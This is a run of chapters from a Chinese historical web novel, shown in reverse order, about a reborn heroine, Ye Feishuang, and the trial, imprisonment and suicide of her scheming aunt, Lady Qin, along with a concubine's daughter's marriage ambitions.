“只要你不嫁我爹,我们之间就没有冲突,我让你丢脸干嘛?” “我之前看不起你,你不怨恨我?” 叶绯霜说:“这哪儿值当的。” 高萱却觉得对方在惺惺作态,故作大度。 她扬着下巴,说:“我二姐嫌你爹又老又病,不愿意嫁。我便去找了秦夫人,说我愿意代她嫁,秦夫人同意了,我是自愿嫁给你爹的。” 高萱知道现在聪明的做法应该是:把一切都推到秦夫人头上,对这位郑五姑娘说自己和二姐一样,是被秦夫人逼的,不是自己想攀高枝,给人留个“安分”的好印象。 但她偏不想那么说。 谁知,这位郑五姑娘既没有嘲讽她,也没有生气,反而点了点头,认真道:“人各有志,嫁高门是你的志向,很好啊。” 高萱仔细观察了一下,发现对方是真心实意地赞同自己。 “想嫁高门有错吗?我父亲想把我许配给他下边的一个九品小吏,这难道就是对的?就因为我是庶出,我就配不上好的?且不说我漂亮识趣又能干,哪怕我是个一无是处的丑八怪,我也能有一颗往上爬的心!” “嗯!”叶绯霜点头,“凭什么男人向上爬就是有志向,女人向上爬就是不安分呢?男人可以拼搏,女人也可以为自己争取。” 听到这话,高萱只恨杯子里的是菊花茶,而不是酒。 酒逢知己千杯少,她算是遇到知己了。 她的敌意瞬间消失得一干二净,怎么看这郑五姑娘怎么觉得顺眼。 “许多人都觉得我这样的出身,高不成低不就,嫁个小官做个正头娘子最合适了。有人喜欢过这种平凡日子,但我不喜欢。我就要锦衣玉食,我就要做人上人。” 叶绯霜看到了高萱眼中的亮光、脸上的斗志。 在这个要求女子三从四德的社会里,这种心气可太难得了。 “哪怕你嫁高门后天天哭,和数不清的人勾心斗角到心力交瘁,也没关系吗?” 高萱说:“当然没关系。我知道高门妇不好当,但我自己选的路,再难我也愿意走。” 叶绯霜说:“你很勇敢。” 高萱话锋倏然一转:“外边那两位公子,是哪家的?” “你最好不要打他们的主意。” 高萱的脸又垮了,张口欲说,被叶绯霜抢了先:“我不是觉得你不配,是他俩太难拿下了。” 高萱努了努嘴。 “对你来说有更好的路。”叶绯霜道,“明年会有一次选秀。” “皇上连春闱都取消了,还能选秀?” “是太后主持的,给宗室子弟们选,当然也会给皇上选。” 高萱将信将疑:“真的假的?你怎么知道?” 叶绯霜:“我在京城有人。” 高萱这下信了。 选秀……宗室……皇上! 她是想往高爬,但没敢想这么高,做梦都没做过。 叶绯霜说:“既然你想嫁高门,那不妨就嫁到最高的那扇门里去。” “说得对!”高萱用力咬了咬牙,“多谢你告诉我这个消息,算我欠你一个人情。我会好好准备,倘若我能成,以后加倍还你。” 第107章 选郎君 周娘子现在在叶绯霜的新布店“素锦”里做工。 不过她不是绣娘。 儿子死后,她装疯卖傻当了几年乞丐,手糙得不成样子,不能拿绣花针了。 但是她花样子画得好,就给绣娘们画花样子,还帮着管点杂事,工钱倒也不少。 周娘子把今天新来的货归置好后,去了前厅,帮忙招呼客人。 这时候,一个戴着幂篱的年轻姑娘走了进来。 ……又来了,周娘子想。 高萱开门见山:“你们东家今天来了吗?” 周娘子答:“没有。” 高萱心焦得厉害。怎么还没来?到底什么时候来? 她和那郑五姑娘是真没缘分,看来光靠等是不行了。 高萱心情不好,语气也不好:“我是高同知府上的三姑娘,你替我和你们东家传个话,就说我要见她。” 同知?那是五品官啊。 周娘子立刻笑道:“好嘞,我这就着人去给姑娘传话。” 高萱松了口气,坐在一边的椅子里等。 她怀里还揣着礼物,是两串绒花,也不知道那位郑五姑娘会不会喜欢。 转而一想,有啥不喜欢的?就是个小丫头嘛,随便哄哄不就行了? 虽然说她是这店的东家,但肯定就是挂个名。 字都未必认得全的小丫头,怎么可能会管店。 她十一岁的时候也开始跟着嫡母学中馈了呢,但那时候懂个啥,也就这两年才学明白了点儿。 自己比对方大了五岁,哄她不是手到擒来? 送个礼,说点好听的话,一起吃个饭、看个杂耍,让她知道自己是多么贤良温婉的人,嫁过去后绝对不会亏待她,就行了。 等拿下她之后,就让她帮自己在她爹、她祖母跟前说说话,事就能定了。 也不难。 高萱漂浮不定的心慢慢沉了下来, 她端起茶杯喝茶,忽然听见周娘子热情地问:“二位公子想看些什么?” 高萱随意抬眼一望,视线就收不回来了。 走进来的是两位年轻的郎君。 一个素锦风华,似山巅雪。 一个青衣文雅,像风中竹。 高萱手中的茶盏脱了手,哐当碎了。 周娘子急忙跑过来:“哎呦,姑娘没事吧?烫着没?” 隔着幂篱的轻纱,高萱看见那两位公子也看了过来。 即便知道他们看不见自己的面容,但高萱的脸还是一下子红了,细着嗓子说:“没事没事,是我不小心。” 周娘子让一个小丫头来打扫这里,自己又去招呼客人了。 高萱竖起耳朵听他们说话。 那白衣公子一言不发,那青衣公子倒是有把好嗓子。 高萱从他们束发的玉冠,打量到他们身上的锦缎,再到腰间悬着的玉佩,暗自揣测他们是什么身份。 这样的姿容气度、这样的打扮,肯定是高门大户的公子。 只是不知道是哪家? 若能嫁给这样的郎君多好啊。 这不比给郑四老爷那老男人当填房好多了? 难道这就是天意吗? 她在这里苦等那位郑五姑娘好几天而不得,其实老天是为了让她等到这二位公子? 高萱越想越兴奋。 是了,冥冥中自有安排,她和那位郑五姑娘没缘分,和这二位公子才有缘分! 高萱捏紧裙子,一颗心砰砰直跳。 那么现在的难题是,她该选哪个呢? 那位白衣公子太好看了,但是冷冷的,也不笑,有种高不可攀的感觉。 那位青衣公子看起来倒是随和不少,还和周娘子打趣,相貌也是一等一的。 哎呀,他朝自己看过来了! 卢季同一双桃花眼自带三分风流,无情也似多情,尤其眼波流转瞟过来的时候,特别勾人。 高萱被这一眼勾得魂差点都没了。 但是又很冷静地意识到,这种人一看就是花丛老手,其实最不好拿下。 虽然自己漂亮又知趣,哪儿哪儿都好,但难保对方见过更好的。 于是高萱锁定那位白衣公子为目标。 说书先生不是讲过吗?一些男人看似不近人情,其实都是装的,稍微一钓就能上钩。 上钩之后还对你死心塌地的。 就是嘛,世间的男人能有几个正经的? 有些看起来越正经,其实越不正经。 退一万步讲,就算不能钓到这二位公子,再去嫁郑四老爷也行嘛。 有更好的肯定先紧着更好的。 高萱只盼着那郑五姑娘今天也别来,别坏她好事。 打定主意,高萱站起身来。 她走到陈宴身边,对周娘子说:“劳烦,把那件百蝶戏海棠的衫子拿给我瞧瞧?” 这柔得能拧出水来的声音让周娘子一个哆嗦。 怎么回事?刚才和我说话时不是这样的啊! “嗯……还有那件翡翠烟罗的也拿给我。” 高萱一连要了好几件素色的衫裙。 大昭以素色为尊,高档的布店和成衣铺子里都是清一色的素色。 这店叫素锦,却有许多艳色的布料,真不知道卖给谁。 看来那郑五姑娘是真没什么头脑。 高萱做出一副为难的样子,问身边的人:“二位公子,你们觉得哪件好看呀?帮我拿个主意吧。” 对于这样的搭讪陈宴一般是不会理会的。 但这是叶绯霜的店。 是她的客人。 她对客人一向都很好。 想帮她做成一单生意也好,想帮她揽个回头客也罢,反正陈宴开尊口了。 他指了指桃花烟罗衫:“这个。” 清清落落的两个字,冰凌似的敲在心头,高萱耳朵都酥了。 之后就是巨大的欣喜,果然有戏! 他回答了自己,没有避嫌,看来对自己有意思! 高萱乘胜追击,撩起幂篱的轻纱,露出一张含羞带怯的芙蓉面来:“谢谢公子帮我考量。” 陈宴随意点了点头,并未看她。 他在认真打量叶绯霜这新店。 他在颍川的大半年,关于她的消息并没有少传给他。 听说这店还是她亲自参与布置的,折腾了好几个月,花了许多心血。 见对方没看自己,高萱抱着新衫子上前两步:“公子,你说这件,哎呀……” 她假装踩到了裙摆,往陈宴身上倒去。 她想,等对方揽住自己,就知道自己腰肢有多软,容貌多俏丽。 然后他们两两相望,含情脉脉…… 就像话本子里才子佳人初会那样,一眼定情。 如她所愿,她没有摔到地上。 一只有力的胳膊揽住了她的腰,高萱揪住对方的衣襟,下意识往对方怀里靠去。 她红着脸,柔声说:“多谢公……” 不对,怎么不是宽广的怀抱?而是一个瘦削的肩膀? 高萱立刻睁开眼。 和捞住她的叶绯霜四目相对。 叶绯霜眨了眨眼:“好巧呀,高三姑娘,又见面了。” 第106章 陈清言 郑老太太手里的药碗砸在了地上,褐色的药汁在昂贵的鹿绒地毯上洇了一大团。 “自尽了?” 罗妈妈低着头:“是,听说脑门都撞得凹进去一块。” 郑老太太闭了闭眼:“不是让人给她带了话,且忍忍,风头过了便捞她出来,她就这般忍不了?” “我们安排传话的那个人现在已经找不着了,大概……话没传到吧,秦夫人才绝望自尽了。” 郑老太太冷笑一声:“原来如此!好啊,好啊,还真是让我遇到个厉害的!” “她没那么大的本事在舂坊里安排人,还是靠的璐王府。真不知道她怎么攀上了璐王府,竟这般帮她!” 郑老太太深吸一口气:“务必把博哥和媛姐安顿好了,他们可不能再出事了!” “您放一万个心吧。” 郑老太太疲惫地阖上眼,罗妈妈赶紧扶着她躺下。 小秦氏死了,要说郑老太太多难过,其实也没有,毕竟感情也没多深。 不像她姐姐,那是十年朝夕相伴处出来的深厚感情。 郑老太太现在更多是是恼恨、不满,以及自己的计划被人破坏的震怒。 “您接下来打算怎么做?”罗妈妈问。 郑老太太想了想:“老五一家子快回来了吧?” “是,五老爷的家书里说还有一个月就能到了。” 郑老太太扯出一抹笑容,说出的话确是咬牙切齿的:“好。那丫头片子不是最近学着管铺子吗?等她五叔一家回来,我就让他们好好教教她!” —— 叶绯霜去味馨坊的后院看望卧床养伤的铜宝。 那天他带着人在小秦氏给的地址找到了郑茜媛和郑文博,把人装车带走,不料在巷子口遇到一伙人,劫了他们的车,打了他们的人。 要不是牙行里一个和铜宝合作了许多次的打手念着情谊,跑的时候带上了铜宝,估计铜宝的命都得交代在那儿。 铜宝挨了一记窝心脚,腰侧还被砍了一刀。 虽然已无大碍了,但还是得将养一段时间。 “都怪我大意了,害你遭罪。”叶绯霜愧疚地说,“就该想到保护郑文博和郑茜媛的人肯定不少。唉,就该让你再多雇几个人的。” “姑娘您已经提醒我了,是对面太厉害。” 铜宝又更正说辞:“不对,应该怪我没本事。我要是有姑娘那身手,也不至于受这些伤,还能拦住他们不让他们把人带走。而且我的伤真没多重,真的快好了。” 去年在张庄别院,遇到暴民那次,还有中秋夜庇阳山那次,他家姑娘哪次不比他伤得重? 还是他太没用了。 但心里还是暖滋滋的,他家姑娘真的很关心他呢。 不光天天有郎中来瞧,还有源源不断的药材、补汤。 跟对主子就是好。 但铜宝还是很不好受。差事没办好,就是他没用。 郑茜媛和郑文博那两个,现在不知道哪儿去了,以后怕是更不好找。 他们长大了,肯定会来找姑娘麻烦的。 唉。 此时,绿蕊过来说,陈宴和卢季同来了。 叶绯霜去了前厅,看见已经有店里的小丫头给他们上了茶点。 卢季同正在吃。 叶绯霜笑着打趣:“卢四公子还敢吃?不怕再出事?” 卢季同哼哼两声:“重阳那天,要不是说那些茱萸糕是你们味馨坊的,我才不会吃那么多!” 后来也不会那么惨!他在床上躺了三四天才缓过来! 叶绯霜朝他抱拳:“谢谢表哥给我面子。今儿您在味馨坊的账全记我头上,我请了。” 卢季同早就哄着叶绯霜叫自己表哥了,她一直不叫,今儿倒是终于让他听见这一声了。 卢季同“唰”的一下打开折扇,风流倜傥地摇了两下:“点心刚吃够了,不买了。不过我昨个路过清平坊,看见一家新开的布店,里边有匹竹枝纹的京绸还不错,我这好久没添新衣了……” 相处这么久了,叶绯霜也知道了卢季同是个多放荡不羁的主。 有钱了,出手阔绰,一掷千金,银锞子漫天扔。 没钱了,就画一幅画当街摆摊去。 卖了画,再去一掷千金,如此往复。 估计现在正是掷完金囊中羞涩的时候。 叶绯霜立刻说:“走,我这就带表哥去取那匹布,裁新衣去。” “哎,我霜儿表妹可真大方。”卢季同慢悠悠站起来,朝陈宴扬扬下巴,“清言,快说几句好听的,让我霜儿表妹也赏你些好东西。” 清言?叶绯霜抬了下眉,望向陈宴。 陈宴给她解释:“我祖父为我取的字。” 和前世不一样呢。 也是,前世陈宴的字是他进士及第后皇上当场赐的。 皇上说,石涧流寒玉,深山动琼影。他的气质沉静清寒,如深山清涧,所以给他赐字“涧深”。 皇上还说,愿“山高不阻其志,涧深不断其行”,希望他坦然无惧,砥砺向前。 这一世,春闱取消了,给他赐字的人当然就不是皇帝了。 叶绯霜问:“清言何解?” 陈宴道:“祖父说,清言核明理,清言怡道心,清言履往复,清言见古今。希望我以此二字自励自勉,自行自省。” 叶绯霜给出了朴实无华的赞美:“真好。” 前世的陈涧深。 这世的陈清言。 似乎是一个人,但又有些地方变了。 陈宴又说:“小秦氏死了。” 叶绯霜点头:“世子已经着人告诉我了。” “那个被拦下来的要给小秦氏传话的人已经送走了。” “那我祖母肯定也能猜到是我请求璐王府帮忙把人拦下来的。”叶绯霜说,“她估计要气死了。” “你就让她一直装下去?” “她肯定想着,等个两三年,就宣布身体慢慢好了。到时候风头也过去了,族长他们也不能追着她杀,毕竟她还有两个在京城做高官的儿子呢。” 当然,在这两三年内,如果能把自己除掉就最好了。 陈宴道:“有时候,主动出手也是一种防卫。” 叶绯霜点头:“是的。” 是啊,她不能总是等着别人对她下手然后反击,她也得主动出击。 其实她对于小秦氏就想主动出击来着。 小秦氏张罗着给他爹娶媳妇,无非就是想掌控郑家的四房夫人,以后好捞钱。 毕竟杜知府是清官,不富裕,小秦氏又爱财。 所以叶绯霜每天穿金戴银,打扮得花枝招展地去鼎福居请安,让小秦氏眼红。 小秦氏对她恨得牙痒痒,却又对她的金银珠宝有掩饰不住的渴望与贪婪。 叶绯霜准备等她的欲望压制不住时,就想办法,找人怂恿她去放印子钱。 如果成了,这也是个大罪。 不过这个计划还没有正式实行,小秦氏自己就把把柄递过来了。 可见,主动有风险,出招需谨慎。 但风险越大收益也越大。 还是得想个办法让郑老太太暴露。 否则不知道那老太婆还要给自己使什么阴招。 第105章 自尽了 小秦氏才不信叶绯霜的鬼话,姑母怎么可能不管她? 姑母对她和姐姐都很好! “可是你和你姐姐一样吗?”叶绯霜说,“她嫁进郑家,给老太太当了十年儿媳妇,朝夕相处,感情才那么深厚。而你呢?你和你姑母很熟吗?” 小秦氏心头骤然一紧。 长大后,她第一次见姑母,就是来为姐姐奔丧。 此后她虽然时常往来郑府,但是和姑母的感情,还是比姐姐那十年相伴差远了。 “而且你还有什么价值,让人来救你呢?” “你闭嘴!”小秦氏怒吼,“你再胡说,等我出去后饶不了你!” 叶绯霜轻哂:“你什么时候饶过我了?自打你来了荥阳,哪件事不是冲着我、我爹娘的性命来的?你们秦家几个人,还真是如出一辙的恶毒。” 小秦氏在府牢中关了大半个月,消瘦了不少。眼白里满是血丝,唇角干裂,看起来很狰狞。 叶绯霜忽然问:“郑文博和郑茜媛在哪里?” 小秦氏脸色变了。 “我知道他们没死。”叶绯霜说,“如果你能乖乖说出他们的下落,作为回馈,我可以让你这三年徒刑好过一点。” 小秦氏畅快地大笑起来:“你知道他们没死又如何?我才不会告诉你他们的下落!你也休想找到他们,等他们长大了,有你好受的!” “你姐姐当初也是这么想的。” 小秦氏的笑声戛然而止。 “什么时候想通了,就让婆子们告诉我吧。” 小秦氏对着叶绯霜的背影“呸”了好几声。 让她说出她外甥外甥女的下落? 绝对不可能! 姑母不会救她? 更不可能! 她才不会被这个死丫头片子唬到。 退一万步讲,就算姑母不救她,不就三年徒刑吗?她熬得过去! 她绝对能东山再起。 但是小秦氏自认为坚硬的心智很快就被残酷的现实打败了。 舂米根本不像她想象中那么简单。 那根木杵只有三四斤,刚拿起来是不重,但是捣一会儿胳膊和腰就酸得不行,稍微歇一下,婆子的鞭子就招呼上来了。 她每天要劳作八个时辰,最少要舂出粟米三斛。 第一天劳作完,小秦氏都不知道自己是腰更疼,还是挨鞭子的背更疼。 第二天醒来,身上没有一处是不疼的。 可是罪犯没有休息的权力,被一通鞭子从床上抽起来,去劳作。 她晕倒在舂臼旁,又被一顿鞭子抽醒。 小秦氏终于知道,她的命在这里根本不算命,随便被打死也没什么的。 她得留着命,等姑母来救她。 她拽着婆子的衣角,气若游丝地说:“你把叶绯霜叫来,我会告诉她她想知道的。” 婆子恶声恶气地说:“直接告诉我就行了,咱们会让人转告!” 小秦氏也没有力气讨价还价了,说出了一个地址。 婆子立刻出去和人交接了。 叶绯霜对于小秦氏这么快就服软一点都不惊讶,毕竟劳役太痛苦,不是一般人能忍的。 更何况小秦氏那种养尊处优惯了的娇贵身子。 “她说的是真的吗?”小桃表示怀疑。 “真不真的,去看看不就知道了?” 叶绯霜叫来铜宝,让他多带几个人,去小秦氏给的地址找一找。 铜宝先去了牙行,雇了几个打手。 叶绯霜支着下巴叹息:“要是我也能有护卫就好了,省得你三哥每次都得去雇人。” 牙行提供的业务丰富,有奴隶买卖、运镖、雇打手、打探消息……铜宝帮她办事时基本都去里边雇人,佣金也不低。 小桃说:“没听说过哪家姑娘能养侍卫的。” 首先因为侍卫大多是男人,和姑娘们男女有别。其次大家族的姑娘们默认不出垂花门,要侍卫干嘛? 叶绯霜:“唉。” 晚上,铜宝给叶绯霜传回消息,人找到了,但是没带回来,被劫走了。 地址是对的,小秦氏倒也没骗她。 “我都把我知道的说了,为什么还要打我?”小秦氏尖叫,“她叶绯霜不是说过了,只要我说出孩子们的下落,她就让我好过吗?” 拿着鞭子的婆子吭哧吭哧笑着:“贵人说了,你怎么害的她、害的她爹娘,她都记着呢。你就在这儿,好好地把她爹娘受过的苦、挨过的痛,尝一遍吧!” 失去最后一张底牌的小秦氏崩溃了,嘶喊着:“不行,她不能言而无信!” 婆子们哈哈大笑,犯了大罪的囚犯还讲起信用来了? 小秦氏受到的刑罚非但没有减轻,反而与日俱增。 她每天都好累、好痛、好饿,清醒着的时候劳作,昏迷过去就挨打。 她的背上没有一块好肉,胳膊和腿每天都是肿的。 伤口溃烂,又痒又痛,她甚至都能闻到自己身上发出的恶臭。 这样的日子什么时候是个头? 每一刻都太漫长了。她感觉自己来这里起码有半年了吧?再熬一熬,可能就到头了。 于是她问婆子:“我来了多久了?” 婆子说:“十一天。” 小秦氏愣住,连话都说不出来了。 身上的鞭痕和劳作的痛苦侵蚀着她的每一根神经,折磨着她的神智。 “十一天”这三个字,太让人绝望了。 这晚,她在伤口溃烂引发的高热中昏昏沉沉地做了个梦。 在梦里,她给姐姐发完丧,就回家了。 跟着丈夫到荥阳上任后,她逢年过节到郑府拜访一下姑母,和姑母不怎么亲近,和郑府的其它人更不熟悉。 和四房那个小姑娘也没什么交集。 她老老实实做她的知府夫人,每天醒来由丫鬟们伺候着穿衣梳妆,然后去园子里赏赏花,点几台戏听一听,教导一下庶子庶女们,盼着自己和郎君也能有个孩子。 日子虽不是大富大贵,倒也安宁和乐。 可是一睁眼,是低矮的囚房,婆子们的呵斥,打在身上已经感觉不出痛的鞭子。 衣服只有一套,粗麻布,已经被抽成了破布,蔽体都难。 女囚们去抢糠饼,她没有抢到。 即便抢到她也吃不下了,她的嗓子已经被饼里的粗砂划破了,痛得厉害。 第十二天了。 徒三年,共一千零八十天,还有一千零六十九天。 看不到头。 原来绝望是这种感觉。 怪不得在鼎福居里,叶绯霜护着她奄奄一息的爹娘时,会露出那么愤恨暴怒、那么穷凶极恶的表情。 那是身处绝境的向死而生。 她为她自己和她爹娘杀出了一条血路。 可是自己的路又在哪里呢? 姑母救她的话,十一天,应该应该安排好了吧? 哪怕没安排好,也该让人给她带个话啊。 除非…… 她真的成了弃子。 小秦氏低头看着自己被木杵磨得溃烂的手,眼泪大颗大颗掉下来。 怎么就走到了这一步呢? 到底是从哪一步开始错的呢? 在进入舂坊的第十二天,小秦氏撞墙自尽了。 第104章 没有心 杜知府上任后,衙门的案子都是公开审理的,堂堂正正地让老百姓们看。 “听说了吗?今儿衙门要审的竟然是知府夫人!” “什么夫人,杜大人早就休妻了。” “听说另外一个犯人还是杜大人的外甥呢!” “哇,杜大人这是大义灭亲啊!” “走,看看去!” 于是,衙门外挤满了看热闹的百姓。 高同知家的三小姐,高萱,也来了。 这大半年,高萱一直耐心等着郑家迎她去做四房夫人。 可是等来等去,没有等到郑家来说亲,反而等到秦夫人下大狱的噩耗。 高萱懵了,那她的亲事还算不算数啊? 又觉得,这事是假的吧?堂堂知府夫人,怎么会被下大狱呢? 但是等她看清狱卒抓着的那个身穿囚服的女人长什么样时,她宛如被天雷劈了。 真是秦夫人! 高萱没有再听接下来的堂审,浑浑噩噩地回了高府。 她姨娘见她脸色灰败,忙问:“秦夫人真出事了?” 高萱捂着脸,哭道:“真出事了!现在怎么办,我和郑家的亲还能不能结?我还能去问谁啊!” 她姨娘想了想,说:“要不你去问问郑五姑娘?” “问她?” “清平坊有家新开的布店,叫‘素锦’,听说就是郑五姑娘的铺子,她时不时地还会去铺子里看看呢。她是四老爷的闺女,肯定知道自己父亲娶妻的事。” 高萱擦干泪,觉得这法子可行。 “我见到郑五姑娘后,好好表现,争取能和她交个密友。让她知道反正她爹都要娶妻,不如娶我,我会对她好,让她的日子好过。” 姨娘忙道:“正是呢!你没比她大几岁,肯定能和她处好。” 高萱觉得柳暗花明又一村了,坐到梳妆台前:“我今天开始就去布店等着那郑五姑娘!” 高萱对自己的交际能力很自信,她一定能收服那位郑五姑娘! 此时的叶绯霜正在衙门里看小秦氏受审。 她和小桃来得早,所以占到了第一排最佳观景区。 宁衡和卢季同还有邱捷都在,不过他们不在人群里,而是作为苦主站在堂前。 百姓们一看,这不是在狗官曹崖倒台后,给他们主持公道的宁世子和卢四公子吗? 这二位当时在府衙里忙得双眼发绿头顶生烟,也没有不耐烦,把他们的案子都接了,还了他们公道。 什么,秦氏这毒妇竟然敢害他们的青天大老爷? 不知道谁往小秦氏身上扔了一块油饼,接着大家群起而攻之,纷纷把手里的东西往小秦氏身上砸,边砸边骂。 还有人把手里的大公鸡扔进去了,那大公鸡啼叫奔跑,围着小秦氏身上乱啄。 衙役们把愤怒的百姓控制住后,小秦氏身上已经不能看了,都是油污、泥、还有鸡毛。 杜知府说完案件情况和审理过程后,按律判了柴越杖八十,小秦氏徒三年。 小秦氏愣住了,没有想到自己会被判得这么重! 徒三年,意味着她要服三年苦役,被打上“囚”字的烙印,刑满后永久丧失良民的身份,后世三代不得为官。 律典中还说过——徒者,奴也,盖奴辱之。 她从知府夫人,一下子就成为最低等的罪奴了! “杜景才,我不服!”小秦氏厉声大叫起来,身上的铁链因为她的动作哗哗作响,“你这是嫌弃我这下堂妻了,才故意重判我!” 傅闻达明明说过,她被判打几杖就可以了!怎么成徒三年了? 小桃却觉得判轻了,嘟囔说:“她先给茱萸糕里下药,又给柴越下药,两个加起来,不得砍头吗?” “二罪以上俱发,以重者论。等者,从一。”叶绯霜用律条给她解释,“不能加起来算,杜大人判的对的。” 小桃和大多数人的想法是一样的,只要犯的罪重一点、多一点,就该砍头,统统砍头! 刑平国用中典,大昭律并不算严刑峻法。 杜知府神色严厉,语调却平和,一如对待判过的无数个犯人那样,援法引律,耐心地给小秦氏解释为何判她徒三年。 但是小秦氏已经听不进去了。 她愤恨地看着上头那位四品大员,他一身深紫色官袍,高坐于明镜高悬的牌匾之下,那么正直、那么威严。 他是她的夫君啊,同床共枕八余载的夫君。 为何就这么无情呢? 她只是犯了个小错而已,下的是相思子,又不是鹤顶红!况且又没闹出人命! 他竟然就休了她,不给她享受任何特权的机会,还判她三年徒刑。 她到底嫁了个什么人啊! 这八年来,她对他不尽心吗?她没有好好操持家事吗?为何她犯了一次错,就要面临这么严重的惩罚呢? 都说丈夫是妻子的后盾、是倚仗,可为何她的丈夫,非要把她推入深渊里呢? 叶绯霜看着小秦氏的满面绝望,忽然感觉看到了前世的自己。 别说,杜知府和陈宴,在某种程度还挺像的。 你说他们没有心吗?也不是,他们的心那么大,装得下仕途、百姓、民生、国之大计。 可就是装不下情爱,装不下枕边人。 叶绯霜看向卢季同身边的陈宴,他也刚好望了过来。 目光交错一瞬,叶绯霜便别开了眼。 他们是什么人都不要紧,和她关系不大。 “杜景才,你无情无义!迟早要遭报应!”小秦氏突然怒骂起来,“难怪你家人说你天性恶毒,活该你兄弟姐妹无一人和你亲近!你根本没有心!你就该孤独终老!” 她咬牙切齿:“难怪那么多人说你是个怪胎,还说你根本不是杜家的种!杜景才,我看你连人都不是!畜生都比你有情有义!” 百姓们哗然,什么叫“不是杜家的种”? 反应过来的衙役把小秦氏按倒在地,捂住了她的嘴,同时惊慌地看向上头的知府大人,生怕他惩治自己一个“看管犯人不力”的罪。 然而,他们杜大人的神情丝毫未变,仿佛早已对这样的谩骂羞辱习以为常。 他从容不迫地给这件“怀瑜书院中毒案”做了断语,下了判决文书,宣布退堂,广袖当风地离开了。 小秦氏的判决已生效,她被带到了劳役场,等着分配劳役。 她已经从方才的愤怒和怨怼中平静了下来。没关系,徒三年就徒三年,她不信姑母会不管她。 堂堂荥阳郑氏的老太太,把她捞出去还不容易吗? 等她出去了,她一定会东山再起。 姐姐干出那样的丑事,姑母都能让她当了郑家四夫人。 到时候就让姑母帮自己安排一门好亲事,对方要比杜景才官阶更高,她要让杜景才悔不当初! 小秦氏信心满满地等着姑母来捞她。 等来等去,终于等到郑家来人了,来的却是她最不想见的那个人。 “姨母不用再等了。”叶绯霜说,“郑老太太早就放弃你了,她不会派人来捞你的。” 第103章 自作孽 此时的宁衡正在逗叶绯霜给他抓的那只鹰。 翅膀上的伤还没好,这鹰怏怏的,对于宁衡的挑逗不怎么回应。 “师父,这玩意要怎么驯啊?”宁衡问。 叶绯霜说:“熬它。” “就真像传说中那样,我俩都不睡觉?” “对。有专门熬鹰的人,世子可以请一个来帮忙。” 宁衡点了点头:“哦……那所有的鹰都用熬的法子来驯服吗?” 叶绯霜想了想:“猫头鹰应该就不可以,那玩意没人熬得过吧?” 宁衡顿时来了兴致:“那我要熬猫头鹰!” 他宁世子就要不走寻常路,挑战一切不可能! 璐王妃正在一边悠闲地吃果子,顺便看俩孩子练枪,听到这话,直接用果子砸了宁衡的头。 她怒道:“想也别想!哪怕真被你熬成了,将来去行猎,别的公子郎君带的都是金雕苍鹰海东青,我儿子带一只猫头鹰?你不嫌丢人我嫌!” 宁衡抱着头不敢吭声了。 但他心意已决,他就要试着熬一只猫头鹰! 叶绯霜傍晚回味馨坊,在那里见到了陈宴。 他给她带来了府衙那边的消息:“杜知府审问过邱捷后,已经让他回家了。” “柴越可都供述干净了?” “差不多。” “把他想花三百两银子收买邱捷替他参加乡试这事也供述了?” “这个倒是没有。”陈宴的神情冷了下来,“荥阳竟有替考之事发生?” “都是前任知府曹崖的手笔。即便他早就被斩首,这件事也应该翻出来查明白。” 陈宴颔首:“科举是寒门士子翻身的唯一办法,也是朝廷招贤纳才最重要的途径,应当公平公正,不能寒了百姓的心。” “科举舞弊乃是大案,若要翻查,势必要得罪许多人。”叶绯霜说,“不知道杜知府愿不愿意做。” 她对杜知府的了解实在有限,也就是陈宴给了一个还算不错的评价,以及看他上任这大半年来做了几件不错的事。 一旦牵扯到他自身利益,甚至威胁到自己的官途,他还愿意做吗? “不妨再观察观察,先看看他在这次的中毒案里如何表现,公义在他心里到底有多重。”陈宴说,“你把柴越直接关在府牢里,而不是带去璐王府,这个饵实在太明显了,杜知府未必看不出来。” 叶绯霜笑着说:“人家是二甲进士、四品大员,吃过的盐比我吃过的饭都多,看穿我这点小心思不是很正常?” 叶绯霜从来不觉得自己是个多聪明的人,她靠的无非就是前世的一点信息、一身还算不错的武艺、还有璐王府陈宴这些愿意帮她的外力罢了。 她布不出什么天衣无缝的大局来,可以干脆利落地将她的敌人们统统扳倒。 无非就是敌行一步,我行一步,小心谨慎,见招拆招。 就好比她猜到了郑老太太是假中风,但也只能让她暂时装下去。在没有十足把握可以拆穿对方时,按兵不动才是最好的选择,否则就会被反咬一口。 小秦氏这次不就被反咬了一口? “柴越不是留给杜知府的。”叶绯霜又说。 陈宴明白她的意思:“是小秦氏。” “人怎么会坐以待毙呢?虽然柴越保证过不会把小秦氏供出来,但小秦氏会信吗?我听说,杜知府铁面无私,还曾打死过自己的一个妾。有这样的前车之鉴在,小秦氏不会害怕?” 一害怕,就会动手。 前世,陈宴给她讲过不少他经办的案子,有大案、有悬案、还有让人啼笑皆非的奇案。 现实中有些案子可比话本子里的离谱多了。 陈宴说过,在办案时,发生最多的事情就是犯人离奇死亡或者突然疯掉。 犯人死了,案子囫囵着也就能结了。 犯人疯了才要命,之前的供词就都不作数了,一切都要重新查起。 小秦氏那脑子未必能想到让柴越疯了。 但不是还有郑老太太她们吗?傅湘语不是一直自诩聪明吗?傅闻达不也是饱读诗书的举人吗? 而且郑家分布在府衙里的暗线和爪牙,并没有因为前任知府曹崖的落马而全都拔除。 此时不用,更待何时? 第二天,叶绯霜刚起来,小桃就为她带来了铜宝传的消息:府衙大牢昨晚不太平。 其实事情很简单。 昨天半夜,府牢的狱卒们全都打起了瞌睡。 而牢头没睡,他要把一碗药灌进柴越嘴里。 柴越当然不喝,奋力挣扎。牢头和他纠缠时,一行人忽然进来了。 定睛一看,最前边的那个竟然是知府大人! 牢头当时就吓得腿软了,招认说是奉了秦夫人之命要给柴越灌一碗药。 大夫看过之后说,这是用在牲口身上的烈药。人要是用了,会损伤神智,形同疯癫。 小秦氏也很晚没睡,在等着大牢那边的消息。 可是她等来的是面色冷淡、目若寒潭的杜知府。 小秦氏当时就知道糟了,宛如被当头敲了一棒,脑袋嗡嗡作响。 小桃给叶绯霜编辫子,听自家姑娘喃喃:“下药残害文人士子,诬陷举人,其为一罪。意图谋害犯人为自己脱罪,罪上加罪。” 小桃忙问:“那这么多罪名加起来会死吗?” “应当不至于判死刑,徒刑或者流刑吧。” 小桃说:“这样也好,把她发配得远远的,省得再来害人。” 叶绯霜摇头:“但她是四品管员之妻,按律可例减一等处罚,最后应当是杖刑。” 小桃说:“那也行,几十大板打下去,她肯定就长记性了,以后不敢害人了!” “她还适用收赎制度,只要给钱,还能减刑。” “啊?”小桃懵了,“那……那她岂不是不受惩罚了?姑娘你在骗我还是真的啊,律法是这样的吗?” 